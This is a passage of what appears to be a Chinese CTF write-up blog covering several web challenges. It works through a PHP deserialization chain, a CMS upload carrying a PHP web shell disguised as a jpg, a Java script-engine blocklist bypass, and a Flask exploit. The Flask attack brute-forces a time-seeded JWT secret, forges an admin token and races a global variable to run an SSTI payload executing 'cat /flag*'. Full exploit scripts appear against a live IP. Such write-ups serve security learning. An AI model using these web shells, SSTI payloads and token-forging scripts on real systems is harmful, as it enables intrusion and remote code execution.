public $direction;
}

class SaySomething{
public $sth ;
}

class Treasure{
protected $door;
protected $chest;
}

class endPoint{
private $path;
}

$a = new startPoint() ;
$b = new SaySomething() ;
$b->sth = "i am gay " ;
$a->direction = $b ;

echo urlencode(base64_encode(serialize($a)))


?>

TzoxMDoic3RhcnRQb2ludCI6MTp7czo5OiJkaXJlY3Rpb24iO086MTI6IlNheVNvbWV0aGluZyI6MTp7czozOiJzdGgiO3M6OToiaSBhbSBnYXkgIjt9fQ%3D%3D

8e51236fc846dbb73724e589eb64e8bb.png

看來沒有打印 , 可以看見say函數是return $this->sth ;

我應該要令它= t2 ,

t2->chest = t1;

t1->door = end

end -> path = “./flag.php”

所以大概是這樣子的:

1
2
3
4
5
6
7
8
9
10
11
12
13
$end = new endPoint();      
$t1 = new Treasure();
$t2 = new Treasure();
$say = new SaySomething();
$start = new startPoint();

$end->path = "./flag.php";

$t1->door = $end;
$t2->chest = $t1;

$say->sth = $t2;
$start->direction = $say;

但是有一個問題t1 t2 end 不是public 的参數 , 此時我們需要反射或者手动构造序列化字符串

b4529bea14119d9aee7d9fe1bafbe336.png

deepseek給了一個例子了 , 抄它的了 , 把變量名字寫清楚如上 , 最後flag在回應裹。

武功秘籍

dirsearch一下:

8f10990a9af18e11530e48cd45ffc406.png

發現admin admin 能登入 , 有一個上傳文件的地方 :

a3fc7ed21d05885e0b147d2b7374f6d9.png

看看BP抓包能不恃能修改:

413a12393c875218bb68f4830713093f.png

Content-Type: application/octet-stream是不能上傳的, 這裹先把它改成text/plain

把文件改成tpl.config , 成功上傳

8e7db669d8659287335a13162c55f2c9.png

url/dcr/tpl_import_action.php

ab917802402e2124a50e2874ff1c6e54.png

還有在新闻中心發現可以上傳文件

先添加分类 1234

9be13db9188438c13f0a46b7a220dc3e.png

添加新闻 , 選擇jpg的payload , payload如下 , 然後改成jpg檔

1
2
3
4
5
6
7
8
9
10
11
<?php
@error_reporting(0);
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
}else{
phpinfo();
}
?>
5727924543e78ea9ea44e2fd1979c340.png

最後在文件管理器/upload/new/…./找到jpg檔把它重新命名為php檔:

成功fuzz了!!!!!!

652dd9e90452a14545c289bf3bf0aa7e.png

ssti在哪里?(味复刻)


https://blog.csdn.net/qq_43409582/article/details/90784223

Week5

眼熟的计算器

這是一個用java寫的計算器 , 看看jar , 改成zip 解壓:
8f6c4313-0246-4426-a428-9f88e1e6c709.png

用jadx打開 , 可以找到:

0ad708e8-7dc9-4ce2-b141-c7c635512923.png 75f72059-3571-46fb-a8d5-c2d17c5925ec.png

測試一下 java可不可以注入:

Java.type(‘java.lang.String’)

70542e50-c298-43d4-8197-f1c29e4db672.png

測試全局對象:

  • Object.keys(this)
  • Object.getOwnPropertyNames(this)

測試內置對象:

  • Math.PI
  • new Date().toString()
  • JSON.stringify({test: 123})

字符串操作:

  • ‘hello’.length
  • ‘hello’ + ‘ world’

數組操作:

  • [1,2,3].join(‘-‘)

函數操作:

  • (function(){return 123})()

測試eval和Function:

  • eval(‘1+1’)
  • Function(‘return 789’)()

編碼函數:

  • btoa(‘hello’)
  • atob(‘aGVsbG8=’)
  • encodeURI(‘hello world’)
  • decodeURI(‘hello%20world’)

原型鏈:

  • Object.prototype
  • Object.constructor

特殊對象:

  • arguments
  • this

環境變量:

  • process && process.env
  • global

Node.js對象:

  • typeof require
  • module
  • exports

用ai生成黑名單關鍵字爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
javascript
java
lang
Runtime
getRuntime
exec
ProcessBuilder
start
Class
forName
getMethod
invoke
System
getProperty
getenv
File
Scanner
BufferedReader
FileReader
InputStream
OutputStream
read
write
reflect
Method
Field
Constructor
cmd
sh
bash
powershell
command
cat
flag
ls
pwd
whoami
id
eval
Function
setTimeout
setInterval
decodeURI
decodeURIComponent
atob
btoa
String
fromCharCode
charCodeAt
import
require
include
load
window
document
location
navigator
this
global
self
top
.
(
)
[
]
{
}
'
"
`
$
&
*
+
-
/
\
|
5f3f2d03-cc30-493f-92f9-b96035b4376c.png

測試JavaScript全局對象:

1
攔截: `Runtime`, `ProcessBuilder`, `exec()`, `start()`, 反射方法
743079df-5d15-4ad7-b75d-9ca415a0485a.png 22957f1d-7cec-4476-9336-83d325f0c36a.png

用字符串拼接

eval 是 200 : val(‘jav’ + ‘a.lang.Runt’ + ‘ime.getRunt’ + ‘ime().exec(“ls”)’)

ddcf7a8e-108a-459c-add3-87bca89e8c7b.png

點號組合好像是沒有問題的

java . lang

使用Java的Files.readAllLines()方法成功讀取了flag文件:

Files類的特殊性:

  • java.nio.file.Files 是Java 7引入的新API
  • 主要用於文件操作,不是典型的命令執行類
  • 方法名 readAllLines 看起來像是安全的文件讀取操作

java.nio.file.Files.readAllLines(java.nio.file.Paths.get(‘/flag’)).get(0)

废弃的网站

先看看条件竞争這個概念:

https://zhuanlan.zhihu.com/p/403063546#:~:text=%E6%9D%A1%E4%BB%B6%E7%AB%9E%E4%BA%89%E6%BC%8F%E6%B4%9E%EF%BC%88Race%20condition,%E8%84%8F%E7%89%9B%EF%BC%88dirty%20cow%EF%BC%89%E3%80%82

看看app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, abort, redirect, render_template_string
import jwt, hashlib, time

app = Flask(__name__)
time_started = round(time.time())
print(f"System started at {time_started}")
APP_SECRET = hashlib.sha256(str(time_started).encode()).hexdigest()

tempuser = None

USER_DB = {
"admin": {"id": 1, "role": "admin", "name": "Administrator"},
"guest": {"id": 2, "role": "guest", "name": "Guest User"},
}

def admin_required(f):
def wrapper(*args, **kwargs):
cookie = request.cookies.get('session', None)
if cookie is None:

response = redirect('/')
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
if user_data['role'] != 'admin':
abort(403, description="Admin access required.")
if user_data['name'] != 'Administrator':
abort(403, description="Admin access required.")
time.sleep(0.15)
except jwt.InvalidTokenError:
abort(401, description = f"Session expired. Please log in again. System has been running {round(time.time() - time_started)} seconds.")
return f(*args, **kwargs)
wrapper.__name__ = f.__name__
return wrapper

@app.before_request
def load_user():
if request.endpoint == 'static':
return
global tempuser
cookie = request.cookies.get('session', None)
if cookie is None:
tempuser = USER_DB['guest']
session = jwt.encode(tempuser, APP_SECRET, algorithm='HS256')
response = redirect(request.path)
response.set_cookie('session', session)
return response
try:
user_data = jwt.decode(cookie, APP_SECRET, algorithms=['HS256'])
tempuser = user_data
except jwt.InvalidTokenError:
session = jwt.encode(USER_DB['guest'], APP_SECRET, algorithm='HS256')
content = render_template_string(
"Session expired. Please log in again. System has been running %d seconds." %
(round(time.time() - time_started))
)
response = app.make_response((content, 401))
response.set_cookie('session', session)
return response

@app.route('/', methods=['GET'])
def home():
return render_template('index.html')


@app.route("/admin", methods=['GET'])
@admin_required
def admin_panel():
global tempuser
return render_template_string("Welcome Back, %s" % tempuser['name'])

@app.route("/static/<path:filename>", methods=['GET'])
def serve_static(filename):
if not filename.endswith('.png'):
abort(403, description="Only .png files are allowed.")
return app.send_static_file(filename)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
d937c042-f0a4-4d35-87e8-808004609d98.png

可以看見這兩用戶的DB

2e5932f7-74b9-4686-821a-03330f9f1f58.png

這個是一開始打開網站時會發出來的

我們可以在cookie下找到guest的token

token的結構是jwt , 我們可以在jwt.io看看:

https://www.jwt.io/

a3486944-b81b-4c32-9c25-f84d65bf795c.png

上面是加密方式,中間是身份信息,後面是secret , 我現在要找到secret并偽造admin的token

以下是python腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
import jwt
import hashlib
import time

# 你的网站
url = "http://8.147.132.32:24750/"

# 创建会话
session = requests.Session()
session.verify = False

print("正在寻找网站密钥...")

# 1. 获取运行时间
try:
r = session.get(url + '/admin', cookies={'session': 'invalid'})
print("获取错误信息...")

if 'System has been running' in r.text:
import re
match = re.search(r'System has been running (\d+) seconds', r.text)
if match:
uptime = int(match.group(1))
print(f"网站运行了: {uptime} 秒")

# 2. 计算启动时间
current_time = int(time.time())
time_started = current_time - uptime
print(f"网站启动时间大约是: {time_started}")

# 3. 在附近找正确的密钥
print("正在尝试可能的密钥...")
for ts in range(time_started - 300, time_started + 300):
secret = hashlib.sha256(str(ts).encode()).hexdigest()

# 测试这个密钥是否正确
try:
# 用已知的guest token测试
guest_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6Imd1ZXN0IiwibmFtZSI6Ikd1ZXN0IFVzZXIifQ.C7nbrf18MKTAzyZRtBdgid4DO2ug6W8ApHIfR8tCbAE"
decoded = jwt.decode(guest_token, secret, algorithms=['HS256'])

# 如果成功解码,就找到了!
print("找到密钥了!")
print(f"启动时间戳: {ts}")
print(f"密钥: {secret}")

# 4. 用这个密钥造管理员token
admin_data = {
"id": 1,
"role": "admin",
"name": "Administrator"
}
admin_token = jwt.encode(admin_data, secret, algorithm='HS256')
print(f"🪪 管理员Token: {admin_token}")

# 测试能不能进管理员页面
r = session.get(url + '/admin', cookies={'session': admin_token})
if r.status_code == 200:
print("成功进入管理员页面!")
print("现在可以用这个密钥做SSTI攻击了")
break

except:
# 密钥不对,继续试
if ts % 100 == 0:
print(f"尝试中... {ts}")
continue

else:
print("没有找到运行时间信息")

except Exception as e:
print(f"错误: {e}")
2e448acc-862a-491a-8c57-2789d6c94b14.png

最後找到了 , 但是在/admin沒有找到flag , /admin/都沒有 , 這裹要在/admin的Welcome Back, {???} 進行ssti注入 , cat /flag* , 以下為ssti的命令:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}

但是只是這樣是不可以拿到flag的, 我要通过大量guest请求修改了全局的tempuser变量 , 将恶意SSTI payload注入到tempuser[‘name’]字段 , 在admin检查通过后、实际渲染前 , 成功将tempuser替换为包含SSTI payload的guest用户数据

線程1: Guest請求洪水攻擊

1
2
3
4
5
6
7
def flood_guest():
nonlocal success
while not success:
try:
requests.get(url, cookies={'session': malicious_token}, timeout=0.1)
except:
pass

線程2: Admin請求嘗試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def try_admin():
nonlocal success
for i in range(50):
if success:
break
try:
r = requests.get(url + '/admin', cookies={'session': admin_token}, timeout=1)
# 檢查響應中是否包含flag
if "flag" in r.text or "{" in r.text:
print(f"[SUCCESS] 找到flag: {r.text}")
success = True
break
except:
pass

然後:

1
2
3
4
5
6
7
8
t1 = threading.Thread(target=flood_guest)
t2 = threading.Thread(target=try_admin)

t1.start()
t2.start()

t2.join()
t1.join()

最後腳本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
import threading
import time

url = "http://8.147.132.32:24750/"
secret = "812f7d41b298c20d8cb041daaa8c142b181838821de5647ad29fa4ef79c084f7"

def precise_race_attack():
import jwt

# 创建恶意guest token
malicious_guest = {
"id": 2,
"role": "guest",
"name": "{{request.application.__globals__.__builtins__.__import__('os').popen('cat /flag*').read()}}"
}
malicious_token = jwt.encode(malicious_guest, secret, algorithm='HS256')

admin_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6ImFkbWluIiwibmFtZSI6IkFkbWluaXN0cmF0b3IifQ.LxCAaYZoEHhEzz26avKldy1azGXTX_XKQNBtSLn9QgY"

success = False

def flood_guest():
nonlocal success
while not success:
try:
requests.get(url, cookies={'session': malicious_token}, timeout=0.1)
except:
pass

def try_admin():
nonlocal success
for i in range(50):
if success:
break
try:
r = requests.get(url + '/admin', cookies={'session': admin_token}, timeout=1)
if "flag" in r.text or "{" in r.text:
print(f"[SUCCESS] 找到flag: {r.text}")
success = True
break
elif "Welcome Back, {{" in r.text:
print(f"[!] SSTI触发但未成功: {r.text[:100]}")
except:
pass

print("[*] 启动精确竞争攻击...")

t1 = threading.Thread(target=flood_guest)
t2 = threading.Thread(target=try_admin)

t1.start()
t2.start()

t2.join()
t1.join()

precise_race_attack()
09fe970a-f75d-45fa-bd63-bde8d2a85d32.png